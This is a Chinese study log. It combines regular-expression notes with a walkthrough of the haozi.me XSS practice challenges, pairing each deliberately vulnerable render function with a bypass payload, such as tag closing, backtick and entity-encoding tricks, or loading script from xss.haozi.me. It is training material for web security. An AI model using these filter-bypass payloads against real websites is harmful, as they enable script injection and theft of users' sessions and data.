haozi.me学习记录
正则表达式
横向模糊匹配
-
{m,n},最少出现m次最多出现n次
-
/ab{2,5}c/g,表示匹配第一个字符是a,第二位开始2-5个字符是b,最后一个字符是c,g是全局匹配,不仅匹配第一个
纵向模糊匹配
-
[abc],可以匹配abc中的任何一个
-
/a[123]b/,可以匹配a1b,a2b,a3b
范围表示法
- [123456abcdefABCDEF]可以写作[1-6a-fA-F]
反义字符组
- [^abc],除abc之外的任意字符
常见的简写形式
-
\d,[0-9],匹配一位数字
-
\D,[^0-9],除数字外的字符
-
\w,[0-9a-zA-Z_],数字大小写字母和下划线
-
\W,[^0-9a-zA-Z_],除数字大小写字母和下划线之外
-
\s,[\t\v\n\r\f],表述空白符号,空格,水平制表符,垂直制表符,换行符,回车符,换页符
-
\S,非空白符
量词
- {m,},最少出现m次
- {m},{m,m}出现m次
- ?,{0,1},出现0次或一次
- +,{1,}出现一次或更多次
- *,出现任意次,零次或更多次
贪婪匹配和惰性匹配
- /\d{2,5}/,表示数字连续出现2-5次
- /\d{2,5}?/,在量词后面加?,实现惰性匹配,匹配到出现2次就不匹配了
多选分支
- (p1|p2|p3),支持子模式中任选其一进行匹配
- 分支结构也是惰性匹配
实例
-
/^(\d{15}|\d{17}[\dxX])$/\
\d{15}和\d{17}[\dxX]
\d{15},连续15位数字
\d{17}[\dxX],连续17位数字,最后一位可以是数字也可以是大小写的
-
优先级
1.转义符 \ 2.括号和方括号 (...)、(?:...)、(?=...)、(?!...)、[...] 3.量词限定符 {m}、{m,n}、{m,}、?、*、+ 4.位置和序列 ^ 、$、 \元字符、 一般字符 \5. 管道符(竖杠)|
xss
0x00
-
function render (input) { return '<div>' + input + '</div>' }
-
成功img
</div><script>alert(1)</script> </--闭合div标签--> <img src="111" onerror="alert(1)">
img标签:向网页中嵌入一幅图像,从网页上链接图像
scr属性:她的值是图像的url值
onerror事件:在加载外部文件(文档,图像)发送错误时触发
0x01
-
function render (input) { return '<textarea>' + input + '</textarea>' } <textarea></textarea> </--html文本区域,定义多行文本输入控件-->
-
</textarea><img src="333" onerror="alert(1)"> # 闭合标签
0x02
-
function render (input) { return '<input type="name" value="' + input + '">' } <input type="name" value=""><script>alert(1)</script>"> "><script>alert(1)</script>
0x03
-
function render (input) { const stripBracketsRe = /[()]/g 代表全局匹配 input = input.replace(stripBracketsRe, '') <--过滤括号,g代表全局匹配--> return input }
-
<script>alert`1`</script># 反撇号绕过
0x04
-
function render (input) { const stripBracketsRe = /[()`]/g <--过滤了括号和反撇号--> input = input.replace(stripBracketsRe, '') return input }
-
<img src="222" onerror=alert(1)> # 编码绕过
-
<svg>,</--可以直接执行实体标签,相关的脚本被封装在<script>元素中--> <svg><script>alert(1)</script>
-
iframe
标签iframe元素会创建包含另一个文档的内联框架
srcdoc属性:srcdoc中的代码会作为iframe中的内容显示出来,srcdoc中可以直接写转移后的html片段
<iframe srcdoc="<script>alert(1)</script>">
0x05
-
function render (input) { input = input.replace(/-->/g, '😂') return '<!-- ' + input + ' -->' </--填写的代码在注释符中,把注释符号替换成表情--> }
-
--!><script>alert(1)</script> </--注释符中除了<!-- -->,<!--!>.<!----!>同样可以注释 -->
0x06
-
function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` } <!--ig全局匹配,忽略大小写。正则表达式,匹配auto,on开头=结尾,>,替换为下划线 -->
-
onfocus =alert(1)
使用换行的办法,不以on开头=结尾,需要鼠标点击
onclick =alert(1) 鼠标点击 onmouseover =alert(1) 鼠标放在框上 type=image src=# onerror =alert(1) 直接弹出
0x07
-
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi input = input.replace(stripTagsRe, '') <!--匹配<,</开头,中间除<之外所有字符最少一个,>结尾 --> return `<article>${input}</article>` }
-
<img src=# onerror="alert(1)"
0x08
-
function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> ` } 替换了</style>
-
</style ><img src=# onerror="alert(1)">
空格绕过
0x09
-
function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${input}"></script>` } return 'Invalid URL' } 以https://www.sesegmentfault.com开头
-
https://www.segmentfault.com"></script><img src=# onerror="alert(1)
闭合script标签
0x0A
-
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return 'Invalid URL' } 以https://www.sesegmentfault.com开头,同时过滤了&,',",<,>,\,/
-
https://www.segmentfault.com@xss.haozi.me/j.js
src属性,script标签中引用保存好.js文件,url会解析@之后的地址
0x0B
-
function render (input) { input = input.toUpperCase() return `<h1>${input}</h1>` } 将输入的值转换成大写了
html,不区分大小写,域名不区分,js区分大小写
-
<img src=" " onerror=alert(1)>
实体编码绕过,也可以使用引用js文件
0x0C
-
function render (input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>' } 将script替换为空,全部转换为大写
-
<img src=" " onerror=alert(1)>
编码绕过,双写也行,引用
0x0D
-
function render (input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> ` } 过滤<,/,",',全局匹配
-
alert(1) -->
换行,绕过单行注释,<!--,-->都可以在html的script标签里单独进行注释
0x0E
-
function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' } 匹配<开头的字符,替换为<_$1,所有转换为大写
-
<ſcript src=" " onerror=alert(1)></ſcript >
ſ字符,古英语中s的写法,转换为大写后是S,
0x0F
-
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } return `<img src onerror="console.error('${escapeHtml(input)}')">` } 过滤了一大堆,转换成实体编码,
-
') alert(1)//
input在img标签内。html实体编码可以直接解析
0x10
-
function render (input) { return ` <script> window.data = ${input} </script> ` }
-
alert(1)
闭合或者直接下一行
0x11
-
// from alf.nu function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') // .replace(/\b/g, '\\b') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` } 过滤了一大堆
-
");alert(1)("
.replace(/"/g, '\"'),双引号还是可用
0x12
-
// from alf.nu function escape (s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' } 将双引号进行转义
-
\");alert(1);</script>
</script> <script>alert(1)</script><script>